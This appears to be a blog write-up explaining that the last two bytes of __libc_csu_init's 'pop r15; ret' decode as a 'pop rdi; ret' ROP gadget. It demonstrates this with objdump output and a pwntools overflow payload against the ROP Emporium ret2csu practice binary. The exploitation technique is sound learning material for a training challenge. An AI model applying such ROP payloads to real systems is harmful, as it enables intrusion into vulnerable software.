Select Page

TL;DR: The last two bytes of __libc_csu_init() is actually a pop rdi; ret gadget.

  1. Introduction
  2. Revisiting ROP Emporium: ret2csu
  3. Conclusion


1. Introduction

Today I read this interesting post about __libc_csu_init().

Let’s first take another look at our two gadgets inside __libc_csu_init():

 0x0000000000400880 <+64>: mov rdx,r15
0x0000000000400883 <+67>: mov rsi,r14
0x0000000000400886 <+70>: mov edi,r13d
0x0000000000400889 <+73>: call QWORD PTR [r12+rbx*8]
 0x000000000040089a <+90>: pop rbx
0x000000000040089b <+91>: pop rbp
0x000000000040089c <+92>: pop r12
0x000000000040089e <+94>: pop r13
0x00000000004008a0 <+96>: pop r14
0x00000000004008a2 <+98>: pop r15
0x00000000004008a4 <+100>: ret

By using these two gadgets, we can control the value of %rbx, %rdx, %rsi, %edi, %rbp, %r12, %r13, %r14 and %r15…but what about the higher 32 bits of %rdi? 🙁

Normally when we reach <__libc_csu_init+98>, we execute a pop r15; ret gadget. However, the post I read said that if we ret to <__libc_csu_init+99>, we actually get a pop rdi; ret gadget instead, which sounds crazy to me. Let’s see:

First we write a simple assembly program to see the hex representation of pop r15; ret.

peilin@PWN:~/expr/__libc_csu_init$ cat > pop_r15.s
pop %r15
ret
peilin@PWN:~/expr/__libc_csu_init$ as -o pop_r15.o pop_r15.s
peilin@PWN:~/expr/__libc_csu_init$ objdump -d –disassembler-options=intel-mnemonic pop_r15.o

pop_r15.o: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 41 5f pop r15
2: c3 ret

The hex representation for pop r15; ret is 41 5f c3.

What about pop rdi; ret?

peilin@PWN:~/expr/__libc_csu_init$ cat > pop_rdi.s
pop %rdi
ret
peilin@PWN:~/expr/__libc_csu_init$ as -o pop_rdi.o pop_rdi.s
peilin@PWN:~/expr/__libc_csu_init$ objdump -d –disassembler-options=intel-mnemonic pop_rdi.o

pop_rdi.o: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 5f pop rdi
1: c3 ret

Interesting. The hex representation for pop rdi; ret is 5f c3. In other words, by executing only the last two bytes of pop r15; ret, we execute a pop rdi; ret.

This means that now we can control the entire %rdi register!


2. Revisiting ROP Emporium: ret2csu

To illustrate this idea, we revisit the ret2csu challenge from ROP Emporium. You can learn more about this challenge in here, or my previous write-up for it.

In this challenge we were asked to set %rdx to 0xdeadcafebabebeef. Now let’s play with it a little bit and see if we can set %rdi to 0xdeadcafebabebeef with our new gadget instead.

The modified Python script looks like:

#play.py
from pwn import *

elf = context.binary = ELF('ret2csu')
print("Address of __libc_csu_init(): %#x" %(elf.symbols.__libc_csu_init))

p = process(elf.path)
gdb.attach(p)

pad     = "A" * 40

pop_rdi = p64(elf.symbols.__libc_csu_init + 99)
rdi     = p64(0xdeadcafebabebeef)

payload =  pad + pop_rdi + rdi

p.recvuntil("\n> ")
p.sendline(payload)

p.interactive()

Note that we are doing nothing after simply setting value to %rdi, so the program is doomed to crash. We attach gdb to it and stop right before it crashes:

Breakpoint *0x00000000004008a4
gdb-peda$ x/i $pc
=> 0x4008a4 <__libc_csu_init+100>: ret
gdb-peda$ reg rdi
RDI: 0xdeadcafebabebeef

Very good.


3. Conclusion

As a C programmer, I remember that it took me some time getting familiar with assembly code. Here we are even breaking assembly code into pieces! You never go too deep when dealing with PWN, I guess.